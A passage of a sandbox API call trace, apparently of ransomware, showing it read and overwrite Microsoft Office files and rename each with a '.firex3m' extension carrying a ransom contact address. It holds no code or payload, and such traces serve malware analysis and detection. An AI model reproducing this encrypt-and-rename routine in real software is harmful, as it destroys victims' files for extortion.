FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTEX2~1.FIR")) returned 0x6d5540 [0155.060] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0155.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex2.ecf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0155.060] GetProcessHeap () returned 0x630000 [0155.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x361) returned 0x6ed6538 [0155.061] GetProcessHeap () returned 0x630000 [0155.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x361) returned 0x72379f0 [0155.061] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.061] ReadFile (in: hFile=0x6dc, lpBuffer=0x6ed6538, nNumberOfBytesToRead=0x340, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed6538*, lpNumberOfBytesRead=0x5afff0c*=0x340, lpOverlapped=0x0) returned 1 [0155.069] GetProcessHeap () returned 0x630000 [0155.069] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0155.069] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.069] WriteFile (in: hFile=0x6dc, lpBuffer=0x72379f0*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72379f0*, lpNumberOfBytesWritten=0x5afff0c*=0x340, lpOverlapped=0x0) returned 1 [0155.069] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.069] WriteFile (in: hFile=0x6dc, lpBuffer=0x7237d2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237d2f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.070] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.070] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.070] CloseHandle (hObject=0x6dc) returned 1 [0155.070] GetProcessHeap () returned 0x630000 [0155.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72379f0 | out: hHeap=0x630000) returned 1 [0155.070] GetProcessHeap () returned 0x630000 [0155.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed6538 | out: hHeap=0x630000) returned 1 [0155.070] GetProcessHeap () returned 0x630000 [0155.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0155.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2260004f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0xa807496, dwReserved1=0x6ed6530, cFileName="OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTEX2~1.FIR")) returned 0x6d5340 [0155.070] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0155.070] Sleep (dwMilliseconds=0x1) [0155.082] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap", len=0x65 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap") returned 1 [0155.082] GetProcessHeap () returned 0x630000 [0155.082] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b68) returned 0x707d3d0 [0155.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\powerviewres.ar.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0155.084] CloseHandle (hObject=0x6d0) returned 1 [0155.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\powerviewres.ar.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\powerviewres.ar.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50ee1, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5540 [0155.085] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0155.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\powerviewres.ar.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0155.086] GetProcessHeap () returned 0x630000 [0155.086] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0155.086] GetProcessHeap () returned 0x630000 [0155.086] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0155.086] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.086] ReadFile (in: hFile=0x6d0, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.990] GetProcessHeap () returned 0x630000 [0163.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0163.990] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.990] WriteFile (in: hFile=0x6d0, lpBuffer=0x6eef110*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.990] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.990] WriteFile (in: hFile=0x6d0, lpBuffer=0x6efa50f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa50f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0163.992] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.992] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0163.992] CloseHandle (hObject=0x6d0) returned 1 [0163.992] GetProcessHeap () returned 0x630000 [0163.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0163.999] GetProcessHeap () returned 0x630000 [0163.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0163.999] GetProcessHeap () returned 0x630000 [0163.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0163.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0163.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b0fba6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50f05, dwReserved0=0xa807496, dwReserved1=0x6ee3cd8, cFileName="PowerViewRes.ar.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0164.000] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0164.000] Sleep (dwMilliseconds=0x1) [0164.010] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.010] GetProcessHeap () returned 0x630000 [0164.010] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c14) returned 0x707d3d0 [0164.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0165.538] CloseHandle (hObject=0x6c8) returned 1 [0165.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5040 [0168.497] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0168.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0168.498] GetProcessHeap () returned 0x630000 [0168.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0168.498] GetProcessHeap () returned 0x630000 [0168.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0168.498] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.498] ReadFile (in: hFile=0x6c8, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.871] GetProcessHeap () returned 0x630000 [0176.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0176.872] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.872] WriteFile (in: hFile=0x6c8, lpBuffer=0x730ba08*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.872] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.872] WriteFile (in: hFile=0x6c8, lpBuffer=0x7316e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316e07*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.872] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.873] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.873] CloseHandle (hObject=0x6c8) returned 1 [0176.873] GetProcessHeap () returned 0x630000 [0176.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0176.979] GetProcessHeap () returned 0x630000 [0176.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0176.979] GetProcessHeap () returned 0x630000 [0176.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0177.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f60441b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xa807496, dwReserved1=0x73005d0, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.049] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.049] Sleep (dwMilliseconds=0x1) [0177.065] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML", len=0x41 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML") returned 1 [0177.065] GetProcessHeap () returned 0x630000 [0177.065] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b10) returned 0x707d3d0 [0177.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0177.077] CloseHandle (hObject=0x6dc) returned 1 [0177.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDCMPV~1.FIR")) returned 0x6d52c0 [0177.087] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0177.088] GetProcessHeap () returned 0x630000 [0177.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x6f05388 [0177.088] GetProcessHeap () returned 0x630000 [0177.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x72b04c8 [0177.088] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.088] ReadFile (in: hFile=0x6dc, lpBuffer=0x6f05388, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesRead=0x5afff0c*=0x560, lpOverlapped=0x0) returned 1 [0177.177] GetProcessHeap () returned 0x630000 [0177.177] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0177.177] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.177] WriteFile (in: hFile=0x6dc, lpBuffer=0x72b04c8*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b04c8*, lpNumberOfBytesWritten=0x5afff0c*=0x560, lpOverlapped=0x0) returned 1 [0177.178] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.178] WriteFile (in: hFile=0x6dc, lpBuffer=0x72b0a27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b0a27*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.178] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.178] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.178] CloseHandle (hObject=0x6dc) returned 1 [0177.178] GetProcessHeap () returned 0x630000 [0177.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b04c8 | out: hHeap=0x630000) returned 1 [0177.178] GetProcessHeap () returned 0x630000 [0177.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0177.178] GetProcessHeap () returned 0x630000 [0177.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0177.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f8d91a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa807496, dwReserved1=0x6f05380, cFileName="WDCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDCMPV~1.FIR")) returned 0x6d5280 [0177.178] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.179] Sleep (dwMilliseconds=0x1) [0177.411] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, 